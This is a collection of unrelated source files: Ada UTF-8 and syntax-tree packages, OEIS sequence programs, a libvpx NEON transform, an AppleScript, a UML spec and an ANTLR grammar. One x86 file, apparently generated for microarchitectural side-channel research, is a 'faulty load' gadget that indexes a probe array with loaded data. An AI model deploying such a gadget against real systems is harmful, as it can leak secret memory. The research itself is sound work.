with Basic_Types; use Basic_Types;
with GNAT.Strings; use GNAT.Strings;
with GNATCOLL.Iconv; use GNATCOLL.Iconv;
package UTF8_Utils is
function Unknown_To_UTF8
(Input : String;
Success : access Boolean) return UTF8_String;
-- Transform a string of unknown encoding to UTF-8.
-- The heuristics used is the following:
-- - if S already contains valid UTF-8, assume it is already encoded
-- in UTF8 (the statistical chances for this are very high)
-- - if S does not contain valid UTF-8, assume it is encoded using the
-- locale, and attempt to convert it from the locale to UTF-8.
-- Success is set to False if the conversion failed.
function Unknown_To_UTF8
(Input : String) return UTF8_String;
-- Same as above, but return "<could not convert to UTF8>" if the
-- conversion could not be done.
procedure Unknown_To_UTF8
(Input : String;
Output : out String_Access;
Success : out Boolean);
-- Same as above, but return Output as Unchecked_String_Access for
-- efficiency. Output is still in UTF8 format, and the caller is
-- responsible for freeing it.
-- In addition, if Input is already a valid UTF8 string, then Output
-- will be set to null: you should use Input in this case.
-- If Success is set to False, Output will also be set to null.
-- Warning: Never reference Output (Output'Range) or Output'Last,
-- use Output (1 .. Len) and Len instead.
function UTF8_To_Locale (Input : UTF8_String) return String;
-- Convert Input to the GPS locale (ie, the contents of the environment
-- variable CHARSET, defaulting to ISO-8859-1).
-- If Input could not be converted, Input is returned as-is.
function Locale_To_UTF8 (Input : String) return UTF8_String;
-- Convert Input from the GPS locale (ie, the contents of the environment
-- variable CHARSET, defaulting to ISO-8859-1).
-- If Input could not be converted, Input is returned as-is.
function UTF8_Next_Char
(Str : UTF8_String; Index : Positive) return Positive;
function UTF8_Next_Char
(Str : UTF8_Unbounded_String; Index : Positive) return Positive;
-- Find the start of the next UTF8 character after the Index-th byte.
-- Index has to be on the start of a character.
-- Index is set to a value greater than Str'Last if there is no more
-- character.
function UTF8_Prev_Char
(Str : UTF8_String; Index : Natural) return Natural;
-- Find the start of the previous UTF8 character before the Index-th byte.
-- Index has to be on the start of a character.
-- Index is set to 0 if there is no more character.
function UTF8_Get_Char (Input : UTF8_String) return Wide_Wide_Character;
-- Return first character of UTF8_String
function Latin_1_To_UTF8 (Input : String) return UTF8_String;
-- Convert Latin_1 string to UTF-8.
function Column_To_Index
(Buffer : UTF8_String; Column : Character_Offset_Type) return Natural;
-- Return index of first byte of UTF8 character in given Column
-- Return 0 in Column <= 0. Return Buffer'First when Column = 1
function UTF8_Length (Item : UTF8_String) return Natural;
-- Returns number of user visible characters in UTF8 encoded string.
function Validate (Object : Iconv_T; Input : Byte_Sequence) return Boolean;
-- Check if convertion of Text is possible using given Object
function Validate_UTF_8 (Input : Byte_Sequence) return Boolean;
-- Check whether Input is valid UTF-8
end UTF8_Utils;
|
oeis/004/A004295.asm
|
neoneye/loda-programs
| 11 |
9235
|
<reponame>neoneye/loda-programs
; A004295: Expansion of (1+2*x+x^2)/(1-42*x+x^2).
; Submitted by <NAME>
; 1,44,1848,77572,3256176,136681820,5737380264,240833289268,10109260768992,424348119008396,17812511737583640,747701144859504484,31385635572361604688,1317448992894327892412,55301472065989409876616,2321344377778660886925460,97441162394637767840992704,4090207476197007588434768108,171691272837879680946419267832,7206943251714749592161174480836,302519925299181603189822908927280,12698629919313912584380401000464924,533039936685885146940787019110599528,22374978710887862258928674401644715252
mov $1,1
mov $3,4
lpb $0
sub $0,1
mul $1,40
add $3,$1
add $2,$3
mov $1,$2
lpe
mov $0,$1
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_2445.asm
|
ljhsiun2/medusa
| 9 |
27343
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r15
push %rax
push %rbx
// Store
mov $0x2a364700000001e3, %r14
cmp $47335, %r12
mov $0x5152535455565758, %rbx
movq %rbx, (%r14)
sub $25442, %r15
// Load
lea addresses_PSE+0x120a3, %rax
nop
nop
nop
nop
xor $48103, %r13
mov (%rax), %bx
cmp %r13, %r13
// Store
mov $0xca3, %r14
clflush (%r14)
nop
nop
nop
nop
nop
cmp %r13, %r13
movw $0x5152, (%r14)
nop
xor %r10, %r10
// Faulty Load
lea addresses_US+0xc4a3, %r12
xor $41611, %r10
mov (%r12), %r13d
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
scripts/itunes/en/mute.applescript
|
dnedry2/vscode-itunes
| 16 |
3890
|
<filename>scripts/itunes/en/mute.applescript
if application "iTunes" is running then
tell application "iTunes"
set the sound volume to 0
end tell
end if
|
vp9/common/arm/neon/vp9_short_iht4x4_add_neon.asm
|
huangwenjun06/libvpx_mips
| 0 |
177123
|
<gh_stars>0
;
; Copyright (c) 2013 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp9_short_iht4x4_add_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
; Parallel 1D IDCT on all the columns of a 4x4 16bits data matrix which are
; loaded in d16-d19. d0 must contain cospi_8_64. d1 must contain
; cospi_16_64. d2 must contain cospi_24_64. The output will be stored back
; into d16-d19 registers. This macro will touch q10- q15 registers and use
; them as buffer during calculation.
MACRO
IDCT4x4_1D
; stage 1
vadd.s16 d23, d16, d18 ; (input[0] + input[2])
vsub.s16 d24, d16, d18 ; (input[0] - input[2])
vmull.s16 q15, d17, d2 ; input[1] * cospi_24_64
vmull.s16 q10, d17, d0 ; input[1] * cospi_8_64
vmull.s16 q13, d23, d1 ; (input[0] + input[2]) * cospi_16_64
vmull.s16 q14, d24, d1 ; (input[0] - input[2]) * cospi_16_64
vmlsl.s16 q15, d19, d0 ; input[1] * cospi_24_64 - input[3] * cospi_8_64
vmlal.s16 q10, d19, d2 ; input[1] * cospi_8_64 + input[3] * cospi_24_64
; dct_const_round_shift
vqrshrn.s32 d26, q13, #14
vqrshrn.s32 d27, q14, #14
vqrshrn.s32 d29, q15, #14
vqrshrn.s32 d28, q10, #14
; stage 2
; output[0] = step[0] + step[3];
; output[1] = step[1] + step[2];
; output[3] = step[0] - step[3];
; output[2] = step[1] - step[2];
vadd.s16 q8, q13, q14
vsub.s16 q9, q13, q14
vswp d18, d19
MEND
; Parallel 1D IADST on all the columns of a 4x4 16bits data matrix which
; loaded in d16-d19. d3 must contain sinpi_1_9. d4 must contain sinpi_2_9.
; d5 must contain sinpi_4_9. d6 must contain sinpi_3_9. The output will be
; stored back into d16-d19 registers. This macro will touch q11,q12,q13,
; q14,q15 registers and use them as buffer during calculation.
MACRO
IADST4x4_1D
vmull.s16 q10, d3, d16 ; s0 = sinpi_1_9 * x0
vmull.s16 q11, d4, d16 ; s1 = sinpi_2_9 * x0
vmull.s16 q12, d6, d17 ; s2 = sinpi_3_9 * x1
vmull.s16 q13, d5, d18 ; s3 = sinpi_4_9 * x2
vmull.s16 q14, d3, d18 ; s4 = sinpi_1_9 * x2
vmovl.s16 q15, d16 ; expand x0 from 16 bit to 32 bit
vaddw.s16 q15, q15, d19 ; x0 + x3
vmull.s16 q8, d4, d19 ; s5 = sinpi_2_9 * x3
vsubw.s16 q15, q15, d18 ; s7 = x0 + x3 - x2
vmull.s16 q9, d5, d19 ; s6 = sinpi_4_9 * x3
vadd.s32 q10, q10, q13 ; x0 = s0 + s3 + s5
vadd.s32 q10, q10, q8
vsub.s32 q11, q11, q14 ; x1 = s1 - s4 - s6
vdup.32 q8, r0 ; duplicate sinpi_3_9
vsub.s32 q11, q11, q9
vmul.s32 q15, q15, q8 ; x2 = sinpi_3_9 * s7
vadd.s32 q13, q10, q12 ; s0 = x0 + x3
vadd.s32 q10, q10, q11 ; x0 + x1
vadd.s32 q14, q11, q12 ; s1 = x1 + x3
vsub.s32 q10, q10, q12 ; s3 = x0 + x1 - x3
; dct_const_round_shift
vqrshrn.s32 d16, q13, #14
vqrshrn.s32 d17, q14, #14
vqrshrn.s32 d18, q15, #14
vqrshrn.s32 d19, q10, #14
MEND
; Generate cosine constants in d6 - d8 for the IDCT
MACRO
GENERATE_COSINE_CONSTANTS
; cospi_8_64 = 15137 = 0x3b21
mov r0, #0x3b00
add r0, #0x21
; cospi_16_64 = 11585 = 0x2d41
mov r3, #0x2d00
add r3, #0x41
; cospi_24_64 = 6270 = 0x187e
mov r12, #0x1800
add r12, #0x7e
; generate constant vectors
vdup.16 d0, r0 ; duplicate cospi_8_64
vdup.16 d1, r3 ; duplicate cospi_16_64
vdup.16 d2, r12 ; duplicate cospi_24_64
MEND
; Generate sine constants in d1 - d4 for the IADST.
MACRO
GENERATE_SINE_CONSTANTS
; sinpi_1_9 = 5283 = 0x14A3
mov r0, #0x1400
add r0, #0xa3
; sinpi_2_9 = 9929 = 0x26C9
mov r3, #0x2600
add r3, #0xc9
; sinpi_4_9 = 15212 = 0x3B6C
mov r12, #0x3b00
add r12, #0x6c
; generate constant vectors
vdup.16 d3, r0 ; duplicate sinpi_1_9
; sinpi_3_9 = 13377 = 0x3441
mov r0, #0x3400
add r0, #0x41
vdup.16 d4, r3 ; duplicate sinpi_2_9
vdup.16 d5, r12 ; duplicate sinpi_4_9
vdup.16 q3, r0 ; duplicate sinpi_3_9
MEND
; Transpose a 4x4 16bits data matrix. Datas are loaded in d16-d19.
MACRO
TRANSPOSE4X4
vtrn.16 d16, d17
vtrn.16 d18, d19
vtrn.32 q8, q9
MEND
AREA Block, CODE, READONLY ; name this block of code
;void vp9_short_iht4x4_add_neon(int16_t *input, uint8_t *dest,
; int dest_stride, int tx_type)
;
; r0 int16_t input
; r1 uint8_t *dest
; r2 int dest_stride
; r3 int tx_type)
; This function will only handle tx_type of 1,2,3.
|vp9_short_iht4x4_add_neon| PROC
; load the inputs into d16-d19
vld1.s16 {q8,q9}, [r0]!
; transpose the input data
TRANSPOSE4X4
; decide the type of transform
cmp r3, #2
beq idct_iadst
cmp r3, #3
beq iadst_iadst
iadst_idct
; generate constants
GENERATE_COSINE_CONSTANTS
GENERATE_SINE_CONSTANTS
; first transform rows
IDCT4x4_1D
; transpose the matrix
TRANSPOSE4X4
; then transform columns
IADST4x4_1D
b end_vp9_short_iht4x4_add_neon
idct_iadst
; generate constants
GENERATE_COSINE_CONSTANTS
GENERATE_SINE_CONSTANTS
; first transform rows
IADST4x4_1D
; transpose the matrix
TRANSPOSE4X4
; then transform columns
IDCT4x4_1D
b end_vp9_short_iht4x4_add_neon
iadst_iadst
; generate constants
GENERATE_SINE_CONSTANTS
; first transform rows
IADST4x4_1D
; transpose the matrix
TRANSPOSE4X4
; then transform columns
IADST4x4_1D
end_vp9_short_iht4x4_add_neon
; ROUND_POWER_OF_TWO(temp_out[j], 4)
vrshr.s16 q8, q8, #4
vrshr.s16 q9, q9, #4
vld1.32 {d26[0]}, [r1], r2
vld1.32 {d26[1]}, [r1], r2
vld1.32 {d27[0]}, [r1], r2
vld1.32 {d27[1]}, [r1]
; ROUND_POWER_OF_TWO(temp_out[j], 4) + dest[j * dest_stride + i]
vaddw.u8 q8, q8, d26
vaddw.u8 q9, q9, d27
; clip_pixel
vqmovun.s16 d26, q8
vqmovun.s16 d27, q9
; do the stores in reverse order with negative post-increment, by changing
; the sign of the stride
rsb r2, r2, #0
vst1.32 {d27[1]}, [r1], r2
vst1.32 {d27[0]}, [r1], r2
vst1.32 {d26[1]}, [r1], r2
vst1.32 {d26[0]}, [r1] ; no post-increment
bx lr
ENDP ; |vp9_short_iht4x4_add_neon|
END
|
msp430x2/mspgd-gpio-port.ads
|
ekoeppen/MSP430_Generic_Ada_Drivers
| 0 |
16679
|
<reponame>ekoeppen/MSP430_Generic_Ada_Drivers
package Ports is
end Ports;
|
source/amf/uml/amf-uml-actions.ads
|
svn2github/matreshka
| 24 |
2749
|
<gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
-- An action has pre- and post-conditions.
--
-- An action is a named element that is the fundamental unit of executable
-- functionality. The execution of an action represents some transformation
-- or processing in the modeled system, be it a computer system or otherwise.
--
-- An action represents a single step within an activity, that is, one that
-- is not further decomposed within the activity.
------------------------------------------------------------------------------
limited with AMF.UML.Classifiers;
limited with AMF.UML.Constraints.Collections;
with AMF.UML.Executable_Nodes;
limited with AMF.UML.Input_Pins.Collections;
limited with AMF.UML.Output_Pins.Collections;
package AMF.UML.Actions is
pragma Preelaborate;
type UML_Action is limited interface
and AMF.UML.Executable_Nodes.UML_Executable_Node;
type UML_Action_Access is
access all UML_Action'Class;
for UML_Action_Access'Storage_Size use 0;
not overriding function Get_Context
(Self : not null access constant UML_Action)
return AMF.UML.Classifiers.UML_Classifier_Access is abstract;
-- Getter of Action::context.
--
-- The classifier that owns the behavior of which this action is a part.
not overriding function Get_Input
(Self : not null access constant UML_Action)
return AMF.UML.Input_Pins.Collections.Ordered_Set_Of_UML_Input_Pin is abstract;
-- Getter of Action::input.
--
-- The ordered set of input pins connected to the Action. These are among
-- the total set of inputs.
not overriding function Get_Is_Locally_Reentrant
(Self : not null access constant UML_Action)
return Boolean is abstract;
-- Getter of Action::isLocallyReentrant.
--
-- If true, the action can begin a new, concurrent execution, even if
-- there is already another execution of the action ongoing. If false, the
-- action cannot begin a new execution until any previous execution has
-- completed.
not overriding procedure Set_Is_Locally_Reentrant
(Self : not null access UML_Action;
To : Boolean) is abstract;
-- Setter of Action::isLocallyReentrant.
--
-- If true, the action can begin a new, concurrent execution, even if
-- there is already another execution of the action ongoing. If false, the
-- action cannot begin a new execution until any previous execution has
-- completed.
not overriding function Get_Local_Postcondition
(Self : not null access constant UML_Action)
return AMF.UML.Constraints.Collections.Set_Of_UML_Constraint is abstract;
-- Getter of Action::localPostcondition.
--
-- Constraint that must be satisfied when executed is completed.
not overriding function Get_Local_Precondition
(Self : not null access constant UML_Action)
return AMF.UML.Constraints.Collections.Set_Of_UML_Constraint is abstract;
-- Getter of Action::localPrecondition.
--
-- Constraint that must be satisfied when execution is started.
not overriding function Get_Output
(Self : not null access constant UML_Action)
return AMF.UML.Output_Pins.Collections.Ordered_Set_Of_UML_Output_Pin is abstract;
-- Getter of Action::output.
--
-- The ordered set of output pins connected to the Action. The action
-- places its results onto pins in this set.
not overriding function Context
(Self : not null access constant UML_Action)
return AMF.UML.Classifiers.UML_Classifier_Access is abstract;
-- Operation Action::context.
--
-- Missing derivation for Action::/context : Classifier
end AMF.UML.Actions;
|
programs/oeis/026/A026274.asm
|
neoneye/loda
| 22 |
178511
|
; A026274: Greatest k such that s(k) = n, where s = A026272.
; 3,5,8,11,13,16,18,21,24,26,29,32,34,37,39,42,45,47,50,52,55,58,60,63,66,68,71,73,76,79,81,84,87,89,92,94,97,100,102,105,107,110,113,115,118,121,123,126,128,131,134,136,139,141,144,147,149,152,155,157,160,162,165,168,170,173,176,178,181,183,186,189,191,194,196,199,202,204,207,210,212,215,217,220,223,225,228,231,233,236,238,241,244,246,249,251,254,257,259,262
add $0,2
seq $0,288713 ; Positions of 1 in A288711; complement of A288712.
div $0,2
sub $0,3
|
antlr/KofoLang.g4
|
codingthat/writing-an-interpreter
| 6 |
7252
|
grammar KofoLang;
/* PARSER */
program: NL* (statement NL*)+ ;
statement
: printlnStatement
| printStatement
| declStatement
| assignStatement
;
printlnStatement : 'println' '(' expr ')' ;
printStatement : 'print' '(' expr ')' ;
declStatement : type id=ID '=' expr;
assignStatement : id=ID '=' expr;
type
: 'int' # IntType
| 'string' # StringType
;
expr
: left=expr op=('*'|'/') right=expr # MulDivExpr
| left=expr op=('+'|'-') right=expr # AddSubExpr
| INT # IntExpr
| STRING # StringExpr
| ID # IdExpr
| '(' expr ')' # ParensExpr
;
/* LEXER */
WS : [ \t]+ -> skip ;
NL : '\r'? '\n' ;
ID : [a-zA-Z]+ ;
INT : [0-9]+;
STRING : '"' .*? '"' ;
|
libsrc/_DEVELOPMENT/adt/wa_priority_queue/c/sdcc_ix/wa_priority_queue_resize_callee.asm
|
jpoikela/z88dk
| 640 |
176221
|
<gh_stars>100-1000
; int wa_priority_queue_resize_callee(wa_priority_queue_t *q, size_t n)
SECTION code_clib
SECTION code_adt_wa_priority_queue
PUBLIC _wa_priority_queue_resize_callee, l0_wa_priority_queue_resize_callee
EXTERN asm_wa_priority_queue_resize
_wa_priority_queue_resize_callee:
pop af
pop hl
pop de
push af
l0_wa_priority_queue_resize_callee:
push ix
call asm_wa_priority_queue_resize
pop ix
ret
|
.emacs.d/elpa/wisi-3.1.3/wisitoken-syntax_trees-lr_utils.ads
|
caqg/linux-home
| 0 |
23990
|
-- Abstract :
--
-- Utilities for navigating syntax trees produced by an LR parser.
--
-- Design :
--
-- It would be safer if Cursor contained a pointer to Iterator; then
-- Copy and Splice could just take Cursor arguments. But that
-- requires mode 'aliased in' for First, Last, which is not
-- conformant with Ada.Iterator_Interfaces.
--
-- Copyright (C) 2019, 2020 <NAME> All Rights Reserved.
--
-- This library is free software; you can redistribute it and/or modify it
-- under terms of the GNU General Public License as published by the Free
-- Software Foundation; either version 3, or (at your option) any later
-- version. This library is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN-
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-- As a special exception under Section 7 of GPL version 3, you are granted
-- additional permissions described in the GCC Runtime Library Exception,
-- version 3.1, as published by the Free Software Foundation.
pragma License (Modified_GPL);
with Ada.Iterator_Interfaces;
with SAL.Gen_Unconstrained_Array_Image_Aux;
package WisiToken.Syntax_Trees.LR_Utils is
use all type SAL.Base_Peek_Type;
procedure Raise_Programmer_Error
(Label : in String;
Descriptor : in WisiToken.Descriptor;
Lexer : in WisiToken.Lexer.Handle;
Tree : in WisiToken.Syntax_Trees.Tree;
Terminals : in WisiToken.Base_Token_Arrays.Vector;
Node : in WisiToken.Node_Index);
pragma No_Return (Raise_Programmer_Error);
----------
-- List functions
--
-- A list has one of the following grammar forms:
--
-- list : list element | element ;
-- list : element | list element ;
--
-- list : list separator element | element ;
-- list : element | list separator element ;
--
-- In the syntax tree, this looks like:
--
-- list: Root
-- | list
-- | | list
-- | | | element: First
-- | | separator?
-- | | element: 2
-- | separator?
-- | element: 3
-- separator?
-- element: Last
type Constant_List (<>) is tagged private with
Constant_Indexing => List_Constant_Ref,
Default_Iterator => Iterate_Constant,
Iterator_Element => Valid_Node_Index;
function Tree (Container : in Constant_List) return Tree_Constant_Reference
with Pre => not Container.Is_Invalid;
function Is_Invalid (Container : in Constant_List) return Boolean;
function Is_Empty (Container : in Constant_List) return Boolean;
-- Returns True if Container is invalid, or if Container is empty
function Root (Container : in Constant_List) return Node_Index
with Pre => not Container.Is_Invalid;
function List_ID (Container : in Constant_List) return Token_ID
with Pre => not Container.Is_Invalid;
function Element_ID (Container : in Constant_List) return Token_ID
with Pre => not Container.Is_Invalid;
function Count (Container : in Constant_List) return Ada.Containers.Count_Type
with Pre => not Container.Is_Invalid;
function Contains (Container : in Constant_List; Node : in Valid_Node_Index) return Boolean
with Pre => not Container.Is_Invalid;
type Cursor is private;
No_Element : constant Cursor;
function To_Cursor (Container : in Constant_List; Node : in Valid_Node_Index) return Cursor
with Pre => (not Container.Is_Invalid) and then
(Container.Contains (Node) and Container.Tree.ID (Node) = Container.Element_ID);
function Contains (Container : in Constant_List; Item : in Cursor) return Boolean
with Pre => not Container.Is_Invalid;
function Has_Element (Cursor : in LR_Utils.Cursor) return Boolean;
function Node (Cursor : in LR_Utils.Cursor) return Node_Index;
-- Invalid_Node_Index if not Has_Element (Cursor).
function Get_Node (Cursor : in LR_Utils.Cursor) return Node_Index
renames Node;
-- Useful when Node is hidden by another declaration.
package Iterator_Interfaces is new Ada.Iterator_Interfaces (Cursor, Has_Element);
type Iterator (Container : not null access constant Constant_List'Class) is
new Iterator_Interfaces.Reversible_Iterator
with null record;
function First (Container : in Constant_List) return Cursor;
function Last (Container : in Constant_List) return Cursor;
overriding function First (Iter : in Iterator) return Cursor is (Iter.Container.First);
overriding function Last (Iter : in Iterator) return Cursor is (Iter.Container.Last);
overriding function Next (Iter : in Iterator; Position : Cursor) return Cursor;
overriding function Previous (Iter : in Iterator; Position : Cursor) return Cursor;
function List_Constant_Ref
(Container : aliased in Constant_List'Class;
Position : in Cursor)
return Valid_Node_Index;
type Constant_Iterator (Container : not null access constant Constant_List) is new
Iterator_Interfaces.Reversible_Iterator
with null record;
overriding function First (Iter : in Constant_Iterator) return Cursor is (Iter.Container.First);
overriding function Last (Iter : in Constant_Iterator) return Cursor is (Iter.Container.Last);
overriding function Next (Iter : in Constant_Iterator; Position : Cursor) return Cursor;
overriding function Previous (Iter : in Constant_Iterator; Position : Cursor) return Cursor;
function Iterate_Constant (Container : aliased in Constant_List'Class) return Constant_Iterator
is (Iterator_Interfaces.Reversible_Iterator with Container'Access);
type Find_Equal is access function
(Target : in String;
List : in Constant_List'Class;
Node : in Valid_Node_Index)
return Boolean;
-- Function called by Find to compare Target to Node. Target, List
-- are the Find arguments; Node is an element of List. Return True if
-- Node matches Target.
function Find
(Container : in Constant_List;
Target : in Valid_Node_Index)
return Cursor
with Pre => not Container.Is_Invalid and Container.Tree.ID (Target) = Container.Element_ID;
function Find
(Container : in Constant_List;
Target : in String;
Equal : in Find_Equal)
return Cursor
with Pre => not Container.Is_Invalid;
type List (<>) is new Constant_List with private with
Default_Iterator => Iterate,
Iterator_Element => Valid_Node_Index;
function Separator_ID (Container : in List) return Token_ID
with Pre => not Container.Is_Invalid;
function Iterate (Container : aliased in List'Class) return Iterator
is (Iterator_Interfaces.Reversible_Iterator with Container'Access);
package Creators is
-- Nested package so these are not primitive, and don't have to be
-- overridden for List.
function Create_List
(Tree : aliased in out WisiToken.Syntax_Trees.Tree;
Root : in Valid_Node_Index;
List_ID : in WisiToken.Token_ID;
Element_ID : in WisiToken.Token_ID;
Separator_ID : in WisiToken.Token_ID)
return List
with Pre => (Tree.Is_Nonterm (Root) and then Tree.Has_Children (Root)) and Tree.ID (Root) = List_ID;
-- If there is no separator, set Separator_ID = WisiToken.Invalid_Token_ID
-- The list cannot be empty; use Empty_List for an empty list.
function Create_List
(Tree : aliased in out WisiToken.Syntax_Trees.Tree;
Root : in Valid_Node_Index;
List_ID : in WisiToken.Token_ID;
Element_ID : in WisiToken.Token_ID)
return Constant_List
with Pre => (Tree.Is_Nonterm (Root) and then Tree.Has_Children (Root)) and Tree.ID (Root) = List_ID;
-- The separator is only need when adding new elements.
function Create_List
(Container : in Constant_List;
Tree : aliased in out WisiToken.Syntax_Trees.Tree;
Root : in Valid_Node_Index)
return Constant_List
with Pre => (Container.Tree.Is_Nonterm (Root) and then
Container.Tree.Has_Children (Root)) and
Container.Tree.ID (Root) = Container.List_ID;
-- Same as Create_List, get all other params from Container.
-- Need Tree for non-constant view.
function Create_List (Container : in out List; Root : in Valid_Node_Index) return List
with Pre => (Container.Tree.Is_Nonterm (Root) and then Container.Tree.Has_Children (Root)) and
